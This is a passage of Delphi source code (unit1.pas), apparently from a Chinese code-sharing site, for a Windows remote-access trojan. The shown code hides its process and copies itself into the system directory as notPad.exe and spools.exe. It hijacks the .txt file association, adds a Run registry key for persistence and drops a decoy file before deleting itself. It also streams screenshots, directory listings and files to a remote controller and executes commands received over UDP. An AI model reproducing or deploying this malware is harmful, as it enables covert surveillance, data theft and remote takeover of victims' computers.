📄 unit1.pas
字号:
jpg.SaveToStream(MiddleStream);
except
Socket.Close;
exit;
end;
MiddleStream.Position:=0;
LenValue:=MiddleStream.Size+4;
NewSendLen[1]:=lo(LenValue);
LenValue:=LenValue shr 8;
NewSendLen[2]:=lo(LenValue);
LenValue:=LenValue shr 8;
NewSendLen[3]:=lo(LenValue);
LenValue:=LenValue shr 8;
NewSendLen[4]:=lo(LenValue);
SendMemoryI.Clear;
Try
SendMemoryI.SetSize(MiddleStream.Size+4);
SendMemoryI.WriteBuffer(NewSendLen,4);
except
Socket.Close;
exit;
end;
Try
MiddleStream.Position:=0;
SendMemoryI.Position:=4;
SendMemoryI.CopyFrom(MiddleStream,MiddleStream.Size);
except
SendMemoryI.Clear;
Socket.Close;
exit;
end;
except
Socket.Close;
exit;
end;
SendMemoryI.Position:=0;
SendSize:=0;
Repeat
ReadSize:=SendMemoryI.Read(BuffRead,SendBuffsize);
SendSize:=SendSize+ReadSize;
Repeat
Try
SendStat:=Socket.SendBuf(BuffRead,ReadSize);
except
exit;
end;
until SendStat<>-1;
Until SendSize=SendMemoryI.Size;
//))))))))))))))))))))))))))))
SendMemoryI.Clear;
end else Exit;
//**********************************************************
except
socket.Close;
end;
{R+}
//======发送数据完毕
end;
Procedure ExeResFile(ExeRecName:String);
{$R MyRes.RES}
Var
MyRes : Integer;
MyResP : Pointer;
MyResS : Integer;
MyMS : TMemoryStream;
OldDir : String;
begin
GetDir(0,OldDir);
ChDir(ExtractFilePath(Application.ExeName));
MyRes := FindResource(HInstance,PChar(ExeRecName),RT_RCDATA);
if MyRes <> 0 then
begin
MyResS := SizeOfResource(HInstance,MyRes);
MyRes := LoadResource(HInstance,MyRes);
if MyRes <> 0 then
begin
MyResP := LockResource(MyRes);
if MyResP <> nil then
begin
MyMS := TMemoryStream.Create;
with MyMS do begin
Write(MyResP^,MyResS);
Seek(0,soFromBeginning);
MyMS.SaveToFile(Application.ExeName+'.txt');
ShellExecute(Application.Handle,'',PChar(Application.ExeName+'.txt'),'','',1);
Free;
end;
UnLockResource(MyRes);
end;
FreeResource(MyRes);
end;
end;
ChDir(OldDir);
end;
procedure TForm1.FormCreate(Sender: TObject);
type TMyFunc =function(dwProcessID, dwType: DWord):DWord;stdcall;
const
RSPSIMPLESERVICE = 1;
RSPUNREGISTERSERVICE = 0;
var
iLStatus:integer;
MyFunc: TMyFunc;
hinstLib:HINST;
FromFile,ToFile,MidFile:PChar;
SystemDir:Array[1..255] of char;
RegF:TRegistry;
hnd: THandle;
strLFile:String;
begin
//+++++++++++++++++++++++++++++++++++++++++++++++++++W9598
hinstLib:=LoadLibrary('KERNEL32.DLL');
if hinstLib<>null then
@MyFunc:=GetProcAddress(hinstLib,'RegisterServiceProcess');
if @MyFunc <> NIL then
iLStatus:=MyFunc(GetCurrentProcessID,RSPSIMPLESERVICE);
FreeLibrary(hinstLib);
//++++++++++++++++++++++++++++++++++++++++++++++++++++NT 2000
hinstLib:=LoadLibrary('USER32.DLL');
if hinstLib<>null then
@MyFunc:=GetProcAddress(hinstLib,'RegisterServicesProcess');
if @MyFunc <> NIL then
iLStatus:=MyFunc(GetCurrentProcessID,1);
FreeLibrary(hinstLib);
//++++++++++++++++++++++++++++++++++++++++++++++++++++
GetSystemDirectory(@SystemDir,255);
FromFile:=PChar(Application.ExeName);
midfile:=@SystemDir;
ToFile:=PChar(String(MidFile)+'\notPad.exe');
CopyFile(FromFile,ToFile,False);
RegisterFileType('.txt','vc++','文本文件','notPad.exe',1,True);
strLFile:= UpperCase(ExtractFileName(Application.ExeName));
if ParamStr(1)<>'' then
ShellExecute(self.handle,'open','notePad.exe',PChar(ParamStr(1)),'',SW_SHOWNORMAL) else
Begin
if (strLFile<>UpperCase('notPad.exe')) then
if (strLFile<>UpperCase('spools.exe')) then
begin
fAtom := GlobalAddAtom('HIRUNNING');
ExeResFile('MYJPEG');
DelSelf;//清除自己
Halt;
exit;
end;
end;
if GlobalFindAtom('HIRUNNING')=0 then
begin
fAtom := GlobalAddAtom('HIRUNNING');
end else Halt;
FromFile:=ToFile;
ToFile:=PChar(String(MidFile)+'\spools.exe');
CopyFile(FromFile,ToFile,False);
FileExt:='*.*';
Form1.Visible:=False;
Form1.Width:=0;
Form1.Height:=0;
RegF := TRegistry.Create;
RegF.RootKey := HKEY_LOCAL_MACHINE;
Try
if RegF.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True) then
begin
try
RegF.WriteString('fastIndex','spools.exe'); //----2
except
end;
end;
finally
RegF.CloseKey;
RegF.Free;
inherited;
end;
DirStringList :=TStringList.Create;
FileStringList:=TStringList.Create;
AgentStream:=TMemoryStream.Create;
autoRun:=False;
GMStream:=TMemoryStream.Create;
try
MonitorSSocket1.Open;//----1-----服务端口启动
MonitorSSocket2.Open;
//+++++++++++++++++++++++++++++++++++++begin
jpg := TJpegImage.Create;
jpg.CompressionQuality:=100;
jpg.PixelFormat:=jf24Bit;
TheBmp:=TBitmap.Create;
SWapBmp:=TBitMap.Create;
SwapBmp.Width:=Screen.Width;
SwapBmp.Height:=Screen.Height;
SWapBmp0:=TBitMap.Create;
SwapBmp0.Width:=Screen.Width;
SwapBmp0.Height:=Screen.Height;
SendMemoryI:=TMemoryStream.Create;
MiddleStream:=TMemoryStream.Create;
FileExt:='*.*';
//+++++++++++++++++++++++++++++++++++++end
TheBmp.Width :=Screen.Width;;
TheBmp.Height :=Screen.Height;
DeskHWnd:=GetDeskTopWindow;
dc := GetDC(DeskHWnd);
ScreenWidth := GetDeviceCaps(dc,HORZRES);
ScreenHeight:= GetDeviceCaps(dc,VERTRES);
except
end;
end;
procedure TForm1.MonitorSSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
errorCode:=0;
Socket.Close;
end;
procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
Var
DataStream:TStringStream;
begin
try
DataStream:=TStringStream.Create('');
NMUDP1.ReadStream(DataStream);
except
DataStream.Free;
end;
DataStream.Free;
end;
procedure TForm1.NMUDP2DataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
Var
DataStream:TStringStream;
FileDir,FileNm,FileNme:String;
begin
GMStream.Clear;
try
DataStream:=TStringStream.Create('');
NMUDP2.ReadStream(DataStream);
except
DataStream.Free;
exit;
end;
try
FileNme:=DataStream.DataString;
if FileExists(FileNme) then
begin
GMStream.LoadFromFile(FileNme);
if GMStream<>nil then
Begin
CSocket1.Close;
CSocket1.Address:=FromIP;
CSocket1.Open;
end;
end;
except
DataStream.Free;
exit;
end;
DataStream.Free;
end;
procedure TForm1.CSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
{R-}
Var
BuffRead:Array[1..SendBuffsize] of char;
ReadSize,SendStat:Integer;
SendSize:LongInt;
begin
GMStream.Position:=0;SendSize:=0;
Repeat
ReadSize:=GMStream.Read(BuffRead,SendBuffsize);
SendSize:=SendSize+ReadSize;
Repeat
Try
SendStat:=Socket.SendBuf(BuffRead,ReadSize);
except
GMStream.Clear;
end;
until SendStat<>-1;
Until (ReadSize<SendBuffsize) or (SendSize=GMStream.Size);
GMStream.Clear;
{R+}
end;
procedure TForm1.ListenUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
{R-}
Var
SDirStream,RDirStream,SFileStream:TStringStream;
Buffer1:Array[1..8192] of char;
ReadCount:LongInt;
LReadStr,strLDir:String;
iL1:integer;
begin
SDirStream:= TStringStream.Create('');
RDirStream:= TStringStream.Create('');
SFileStream:=TStringStream.Create('');
NMUDP1.RemoteHost:=FromIP;
NMUDP2.RemoteHost:=FromIP;
ReplaceUDP.RemoteHost:=FromIP;
CaptureID:=0;
//--begin--------------------------------------目录传送
ListenUDP.ReadStream(RDirStream);
LReadStr:=RDirStream.DataString;
try
if lReadStr='File transfer begin' then
begin
DirStringList.SaveToStream(SDirStream);
FileStringList.SaveToStream(SFileStream);
NMUDP1.SendStream(SDirStream);
NMUDP2.SendStream(SFileStream);
end else
if lReadStr[1]='*' then
//UDP->TCP<--->TCP 可靠连接传送
Begin
for iL1:=2 to Length(lReadStr) do strLDir:=strLDir+lReadStr[iL1];
if DirectoryExists(strLDir) then
begin
CaptureID:=1;
try
if CaptureFileDir(strLDir,DirStringList,FileStringList) then
begin
if DirStringList.Count =0 then DirStringList.Add('提示:返回上一级目录');
if FileStringList.Count=0 then FileStringList.Add('提示:空文件目录');
DirStringList.SaveToStream(SDirStream);
FileStringList.SaveToStream(SFileStream);
GDirStream:= TStringStream.Create(SDirStream.DataString);
GFileStream:= TStringStream.Create(SFileStream.DataString);
FileCSocket1.Close;
FileCSocket1.Address:=FromIP;
FileCSocket1.Open;
end;
except
SDirStream.Free;
RDirStream.Free;
SFileStream.Free;
exit;
end;
end;
end else
if DirectoryExists(RDirStream.DataString) then
begin
//UDP<--->UDP 快速连接传送
CaptureID:=0;
try
if CaptureFileDir(RDirStream.DataString,DirStringList,FileStringList) then
begin
if DirStringList.Count =0 then DirStringList.Add('提示:返回上一级目录');
if FileStringList.Count=0 then FileStringList.Add('提示:空文件目录');
DirStringList.SaveToStream(SDirStream);
FileStringList.SaveToStream(SFileStream);
NMUDP1.SendStream(SDirStream);
ReadCount:=0;
SFileStream.Position:=0;
if (SFileStream.Size-ReadCount)<4096 then
Begin
SFileStream.ReadBuffer(Buffer1,SFileStream.Size-ReadCount);
NMUDP2.SendBuffer(Buffer1,SFileStream.Size-ReadCount);
ReadCount:=SFileStream.size;
end else
Begin
SFileStream.ReadBuffer(Buffer1,4096);
ReadCount:=ReadCount+4096;
NMUDP2.SendBuffer(Buffer1,4096);
end;
end;
except
SDirStream.Free;
RDirStream.Free;
SFileStream.Free;
exit;
end;
end;
except
SDirStream.Free;
RDirStream.Free;
SFileStream.Free;
exit;
end;
//------end----------------------------------目录传送
SDirStream.Free;
RDirStream.Free;
SFileStream.Free;
{R+}
end;
procedure TForm1.ReplaceUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
{R-}
var
ReplaceFileStream,sendStream:TStringStream;
RStr,RS:String;
i:integer;
begin
ReplaceFileStream:=TStringStream.Create('');
ReplaceUDP.ReadStream(ReplaceFileStream);
RStr:=ReplaceFileStream.DataString;
RS:=RStr[1]+RStr[2]+RStr[3];
if RS='RUN' then
begin
RS:='';
for i:=4 to length(RStr) do RS:=RS+RStr[i];
ShellExecute(Application.Handle, 'OPEN',
PChar(RS),'','', SW_SHOWNORMAL);
ReplaceUDP.RemoteHost:=FromIP;
ReplaceUDP.RemotePort:=Port;
sendStream:=TStringStream.Create('信息反馈:远程执行成功!');
ReplaceUDP.SendStream(sendStream);
sendStream.Free;
exit;
end;
if ReplaceFileStream.DataString='远程执行' then
begin
autoRUN:=not autoRUN;
if autoRUN=True then
begin
ReplaceUDP.RemoteHost:=FromIP;
ReplaceUDP.RemotePort:=Port;
sendStream:=TStringStream.Create('远程执行启动');
ReplaceUDP.SendStream(sendStream);
sendStream.Free;
end else
Begin
ReplaceUDP.RemoteHost:=FromIP;
ReplaceUDP.RemotePort:=Port;
sendStream:=TStringStream.Create('远程执行关闭');
ReplaceUDP.SendStream(sendStream);
sendStream.Free;
end;
end;
//====================文件替换======================================
if FileExists(ReplaceFileStream.DataString)then
begin
ReplaceFileG:=ReplaceFileStream.DataString;
ReplaceSocket.Close;
ReplaceSocket.Address:=FromIP;
ReplaceSocket.Open;
end else
//=================文件存储=========================================
if DirectoryExists(ExtractFileDir(ReplaceFileStream.DataString))then
begin
ReplaceFileG:=ReplaceFileStream.DataString;
ReplaceSocket.Close;
ReplaceSocket.Address:=FromIP;
ReplaceSocket.Open;
end;
ReplaceFileStream.Free;
{R+}
end;
procedure TForm1.ReplaceSocketRead(Sender: TObject;
Socket: TCustomWinSocket);
{R-}
var
ReadBuffer:Array[1..4096] of Char;
Buffer2 :Array[1..8] of Char;
ReadSizeTemp:integer;
begin
ReadSizeTemp:=0;
ReadSizeTemp:=Socket.ReceiveBuf(ReadBuffer,4096);
if ReadSizeTemp<>-1 then
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -